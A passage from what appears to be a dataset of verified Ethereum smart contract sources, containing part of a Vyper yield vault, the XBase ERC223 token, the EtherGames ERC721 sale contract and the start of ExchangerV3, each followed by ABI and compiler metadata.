(if any) the Strategy may draw on.
In the rare case the Vault is in emergency shutdown this will return 0.
@param strategy The Strategy to check. Defaults to caller.
@return The quantity of tokens available for the Strategy to draw on.
"""
return self._creditAvailable(strategy)
@view
@internal
def _expectedReturn(strategy: address) -> uint256:
# See note on `expectedReturn()`.
strategy_lastReport: uint256 = self.strategies[strategy].lastReport
timeSinceLastHarvest: uint256 = block.timestamp - strategy_lastReport
totalHarvestTime: uint256 = strategy_lastReport - self.strategies[strategy].activation
# NOTE: If either `timeSinceLastHarvest` or `totalHarvestTime` is 0, we can short-circuit to `0`
if timeSinceLastHarvest > 0 and totalHarvestTime > 0 and Strategy(strategy).isActive():
# NOTE: Unlikely to throw unless strategy accumalates >1e68 returns
# NOTE: Calculate average over period of time where harvests have occured in the past
return (
self.strategies[strategy].totalGain
* timeSinceLastHarvest
/ totalHarvestTime
)
else:
return 0 # Covers the scenario when block.timestamp == activation
@view
@external
def availableDepositLimit() -> uint256:
if self.depositLimit > self._totalAssets():
return self.depositLimit - self._totalAssets()
else:
return 0
@view
@external
def expectedReturn(strategy: address = msg.sender) -> uint256:
"""
@notice
Provide an accurate expected value for the return this `strategy`
would provide to the Vault the next time `report()` is called
(since the last time it was called).
@param strategy The Strategy to determine the expected return for. Defaults to caller.
@return
The anticipated amount `strategy` should make on its investment
since its last report.
"""
return self._expectedReturn(strategy)
@internal
def _assessFees(strategy: address, gain: uint256) -> uint256:
# Issue new shares to cover fees
# NOTE: In effect, this reduces overall share price by the combined fee
# NOTE: may throw if Vault.totalAssets() > 1e64, or not called for more than a year
duration: uint256 = block.timestamp - self.strategies[strategy].lastReport
assert duration != 0 # can't assessFees twice within the same block
if gain == 0:
# NOTE: The fees are not charged if there hasn't been any gains reported
return 0
management_fee: uint256 = (
(
(self.strategies[strategy].totalDebt - Strategy(strategy).delegatedAssets())
* duration
* self.managementFee
)
/ MAX_BPS
/ SECS_PER_YEAR
)
# NOTE: Applies if Strategy is not shutting down, or it is but all debt paid off
# NOTE: No fee is taken when a Strategy is unwinding it's position, until all debt is paid
strategist_fee: uint256 = (
gain
* self.strategies[strategy].performanceFee
/ MAX_BPS
)
# NOTE: Unlikely to throw unless strategy reports >1e72 harvest profit
performance_fee: uint256 = gain * self.performanceFee / MAX_BPS
# NOTE: This must be called prior to taking new collateral,
# or the calculation will be wrong!
# NOTE: This must be done at the same time, to ensure the relative
# ratio of governance_fee : strategist_fee is kept intact
total_fee: uint256 = performance_fee + strategist_fee + management_fee
# ensure total_fee is not more than gain
if total_fee > gain:
total_fee = gain
if total_fee > 0: # NOTE: If mgmt fee is 0% and no gains were realized, skip
reward: uint256 = self._issueSharesForAmount(self, total_fee)
# Send the rewards out as new shares in this Vault
if strategist_fee > 0: # NOTE: Guard against DIV/0 fault
# NOTE: Unlikely to throw unless sqrt(reward) >>> 1e39
strategist_reward: uint256 = (
strategist_fee
* reward
/ total_fee
)
self._transfer(self, strategy, strategist_reward)
# NOTE: Strategy distributes rewards at the end of harvest()
# NOTE: Governance earns any dust leftover from flooring math above
if self.balanceOf[self] > 0:
self._transfer(self, self.rewards, self.balanceOf[self])
return total_fee
@external
def report(gain: uint256, loss: uint256, _debtPayment: uint256) -> uint256:
"""
@notice
Reports the amount of assets the calling Strategy has free (usually in
terms of ROI).
The performance fee is determined here, off of the strategy's profits
(if any), and sent to governance.
The strategist's fee is also determined here (off of profits), to be
handled according to the strategist on the next harvest.
This may only be called by a Strategy managed by this Vault.
@dev
For approved strategies, this is the most efficient behavior.
The Strategy reports back what it has free, then Vault "decides"
whether to take some back or give it more. Note that the most it can
take is `gain + _debtPayment`, and the most it can give is all of the
remaining reserves. Anything outside of those bounds is abnormal behavior.
All approved strategies must have increased diligence around
calling this function, as abnormal behavior could become catastrophic.
@param gain
Amount Strategy has realized as a gain on it's investment since its
last report, and is free to be given back to Vault as earnings
@param loss
Amount Strategy has realized as a loss on it's investment since its
last report, and should be accounted for on the Vault's balance sheet.
The loss will reduce the debtRatio. The next time the strategy will harvest,
it will pay back the debt in an attempt to adjust to the new debt limit.
@param _debtPayment
Amount Strategy has made available to cover outstanding debt
@return Amount of debt outstanding (if totalDebt > debtLimit or emergency shutdown).
"""
# Only approved strategies can call this function
assert self.strategies[msg.sender].activation > 0
# No lying about total available to withdraw!
assert self.token.balanceOf(msg.sender) >= gain + _debtPayment
# We have a loss to report, do it before the rest of the calculations
if loss > 0:
self._reportLoss(msg.sender, loss)
# Assess both management fee and performance fee, and issue both as shares of the vault
totalFees: uint256 = self._assessFees(msg.sender, gain)
# Returns are always "realized gains"
self.strategies[msg.sender].totalGain += gain
# Compute the line of credit the Vault is able to offer the Strategy (if any)
credit: uint256 = self._creditAvailable(msg.sender)
# Outstanding debt the Strategy wants to take back from the Vault (if any)
# NOTE: debtOutstanding <= StrategyParams.totalDebt
debt: uint256 = self._debtOutstanding(msg.sender)
debtPayment: uint256 = min(_debtPayment, debt)
if debtPayment > 0:
self.strategies[msg.sender].totalDebt -= debtPayment
self.totalDebt -= debtPayment
debt -= debtPayment
# NOTE: `debt` is being tracked for later
# Update the actual debt based on the full credit we are extending to the Strategy
# or the returns if we are taking funds back
# NOTE: credit + self.strategies[msg.sender].totalDebt is always < self.debtLimit
# NOTE: At least one of `credit` or `debt` is always 0 (both can be 0)
if credit > 0:
self.strategies[msg.sender].totalDebt += credit
self.totalDebt += credit
# Give/take balance to Strategy, based on the difference between the reported gains
# (if any), the debt payment (if any), the credit increase we are offering (if any),
# and the debt needed to be paid off (if any)
# NOTE: This is just used to adjust the balance of tokens between the Strategy and
# the Vault based on the Strategy's debt limit (as well as the Vault's).
totalAvail: uint256 = gain + debtPayment
if totalAvail < credit: # credit surplus, give to Strategy
self.erc20_safe_transfer(self.token.address, msg.sender, credit - totalAvail)
elif totalAvail > credit: # credit deficit, take from Strategy
self.erc20_safe_transferFrom(self.token.address, msg.sender, self, totalAvail - credit)
# else, don't do anything because it is balanced
# Profit is locked and gradually released per block
# NOTE: compute current locked profit and replace with sum of current and new
lockedProfitBeforeLoss: uint256 = self._calculateLockedProfit() + gain - totalFees
if lockedProfitBeforeLoss > loss:
self.lockedProfit = lockedProfitBeforeLoss - loss
else:
self.lockedProfit = 0
# Update reporting time
self.strategies[msg.sender].lastReport = block.timestamp
self.lastReport = block.timestamp
log StrategyReported(
msg.sender,
gain,
loss,
debtPayment,
self.strategies[msg.sender].totalGain,
self.strategies[msg.sender].totalLoss,
self.strategies[msg.sender].totalDebt,
credit,
self.strategies[msg.sender].debtRatio,
)
if self.strategies[msg.sender].debtRatio == 0 or self.emergencyShutdown:
# Take every last penny the Strategy has (Emergency Exit/revokeStrategy)
# NOTE: This is different than `debt` in order to extract *all* of the returns
return Strategy(msg.sender).estimatedTotalAssets()
else:
# Otherwise, just return what we have as debt outstanding
return debt
@external
def sweep(token: address, amount: uint256 = MAX_UINT256):
"""
@notice
Removes tokens from this Vault that are not the type of token managed
by this Vault. This may be used in case of accidentally sending the
wrong kind of token to this Vault.
Tokens will be sent to `governance`.
This will fail if an attempt is made to sweep the tokens that this
Vault manages.
This may only be called by governance.
@param token The token to transfer out of this vault.
@param amount The quantity or tokenId to transfer out.
"""
assert msg.sender == self.governance
# Can't be used to steal what this Vault is protecting
assert token != self.token.address
value: uint256 = amount
if value == MAX_UINT256:
value = ERC20(token).balanceOf(self)
self.erc20_safe_transfer(token, self.governance, value) | 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56"}],"gas":22641},{"stateMutability":"view","type":"function","name":"withdrawalQueue","inputs":[{"name":"arg0","type":"uint256"}],"outputs":[{"name":"","type":"address"}],"gas":4057},{"stateMutability":"view","type":"function","name":"emergencyShutdown","inputs":[],"outputs":[{"name":"","type":"bool"}],"gas":3978},{"stateMutability":"view","type":"function","name":"depositLimit","inputs":[],"outputs":[{"name":"","type":"uint256"}],"gas":4008},{"stateMutability":"view","type":"function","name":"debtRatio","inputs":[],"outputs":[{"name":"","type":"uint256"}],"gas":4038},{"stateMutability":"view","type":"function","name":"totalDebt","inputs":[],"outputs":[{"name":"","type":"uint256"}],"gas":4068},{"stateMutability":"view","type":"function","name":"lastReport","inputs":[],"outputs":[{"name":"","type":"uint256"}],"gas":4098},{"stateMutability":"view","type":"function","name":"activation","inputs":[],"outputs":[{"name":"","type":"uint256"}],"gas":4128},{"stateMutability":"view","type":"function","name":"lockedProfit","inputs":[],"outputs":[{"name":"","type":"uint256"}],"gas":4158},{"stateMutability":"view","type":"function","name":"lockedProfitDegradation","inputs":[],"outputs":[{"name":"","type":"uint256"}],"gas":4188},{"stateMutability":"view","type":"function","name":"rewards","inputs":[],"outputs":[{"name":"","type":"address"}],"gas":4218},{"stateMutability":"view","type":"function","name":"managementFee","inputs":[],"outputs":[{"name":"","type":"uint256"}],"gas":4248},{"stateMutability":"view","type":"function","name":"performanceFee","inputs":[],"outputs":[{"name":"","type":"uint256"}],"gas":4278},{"stateMutability":"view","type":"function","name":"nonces","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}],"gas":4523},{"stateMutability":"view","type":"function","name":"DOMAIN_SEPARATOR","inputs":[],"outputs":[{"name":"","type":"bytes32"}],"gas":4338}] | vyper:0.2.12 | false | null | Default | Unknown | false | ||||
XBase | XBase.sol | 0x4d13d624a87baa278733c068a174412afa9ca6c8 | Solidity | pragma solidity ^0.5.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC223 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transfer(address to, uint value, bytes calldata data) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes memory _data) public {
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient,
* reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow
* (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract StandardToken is IERC20, IERC223 {
uint256 public totalSupply;
using SafeMath for uint;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
//require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// Function that is called when a user or another contract wants to transfer funds.
function transfer(address _to, uint _value, bytes memory _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data.
// Added due to backwards compatibility reasons.
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// Assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
require(_addr != address(0));
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// Function that is called when transaction target is an address.
function transferToAddress(address _to, uint _value, bytes memory _data) private returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
// Function that is called when transaction target is a contract.
function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
}
contract XBase is StandardToken {
string public constant name = "Eterbase Coin";
string public constant symbol = "XBASE";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 1000000000 * 10 ** uint256(decimals);
constructor () public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"initialSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":true,"name":"data","type":"bytes"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.7+commit.6da8b019 | true | 200 | Default | false | bzzr://320b8a30809f7ebdafe2a41f33539b584fe3a5ba9a1cc2e0080509eb006eec25 |
||||
EtherGames | EtherGames.sol | 0xe2e2808d9635f6e8e7aa4ea933dcb9d78a00d1b2 | Solidity | pragma solidity ^0.4.18; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract EtherGames is ERC721 {
/*** EVENTS ***/
/// @dev The Birth event is fired whenever a new Game comes into existence.
event Birth(uint256 tokenId, string name, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/*** CONSTANTS ***/
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "EtherGames"; // solhint-disable-line
string public constant SYMBOL = "GameToken"; // solhint-disable-line
uint256 private startingPrice = 0.001 ether;
uint256 private firstStepLimit = 0.053613 ether;
uint256 private secondStepLimit = 0.564957 ether;
/*** STORAGE ***/
/// @dev A mapping from game IDs to the address that owns them. All games have
/// some valid owner address.
mapping (uint256 => address) public gameIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from GameIDs to an address that has been approved to call
/// transferFrom(). Each Game can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public gameIndexToApproved;
// @dev A mapping from GameIDs to the price of the token.
mapping (uint256 => uint256) private gameIndexToPrice;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
/*** DATATYPES ***/
struct Game {
string name;
}
Game[] private games;
/*** ACCESS MODIFIERS ***/
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
/*** CONSTRUCTOR ***/
function EtherGames() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/*** PUBLIC FUNCTIONS ***/
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
) public
{
// Caller must own token.
require(_owns(msg.sender, _tokenId));
gameIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @dev Creates a new Game with the given name.
function createContractGame(string _name, uint256 _price) public onlyCOO {
_createGame(_name, ceoAddress, _price);
}
/// @notice Returns all the relevant information about a specific game.
/// @param _tokenId The tokenId of the game of interest.
function getGame(uint256 _tokenId) public view returns (
string gameName,
uint256 sellingPrice,
address owner
) {
Game storage game = games[_tokenId];
gameName = game.name;
sellingPrice = gameIndexToPrice[_tokenId];
owner = gameIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = gameIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId) public payable {
address oldOwner = gameIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = gameIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 92), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
// Update prices
if (sellingPrice < firstStepLimit) {
// first stage
gameIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 92);
} else if (sellingPrice < secondStepLimit) {
// second stage
gameIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 92);
} else {
// third stage
gameIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 92);
}
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //(1-0.08)
}
TokenSold(_tokenId, sellingPrice, gameIndexToPrice[_tokenId], oldOwner, newOwner, games[_tokenId].name);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return gameIndexToPrice[_tokenId];
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = gameIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose celebrity tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Games array looking for games belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalGames = totalSupply();
uint256 resultIndex = 0;
uint256 gameId;
for (gameId = 0; gameId <= totalGames; gameId++) {
if (gameIndexToOwner[gameId] == _owner) {
result[resultIndex] = gameId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return games.length;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/*** PRIVATE FUNCTIONS ***/
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return gameIndexToApproved[_tokenId] == _to;
}
/// For creating Game
function _createGame(string _name, address _owner, uint256 _price) private {
Game memory _game = Game({
name: _name
});
uint256 newGameId = games.push(_game) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newGameId == uint256(uint32(newGameId)));
Birth(newGameId, _name, _owner);
gameIndexToPrice[newGameId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newGameId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == gameIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// @dev Assigns ownership of a specific Game to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of games is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
gameIndexToOwner[_tokenId] = _to;
// When creating new games _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete gameIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 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"address"},{"indexed":false,"name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"approved","type":"address"},{"indexed":false,"name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.21+commit.dfe3193c | false | 200 | Default | false | bzzr://c49f0ea61f3667a5373e14e10ab2fa6ccfbb04a66b7655fa007ec972d8b36c55 |
||||
ExchangerV3 | ExchangerV3.sol | 0xe8c809cef1e9d87fb2aeac633ae905bb4df17a36 | Solidity | pragma solidity ^0.4.18;
interface IYeekFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) external view returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) external view returns (uint256);
}
interface ITradeableAsset {
function totalSupply() external view returns (uint256);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function decimals() external view returns (uint256);
function transfer(address _to, uint256 _value) external;
function balanceOf(address _address) external view returns (uint256);
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
/* A basic permissions hierarchy (Owner -> Admin -> Everyone else). One owner may appoint and remove any number of admins
and may transfer ownership to another individual address */
contract Administered {
address public creator;
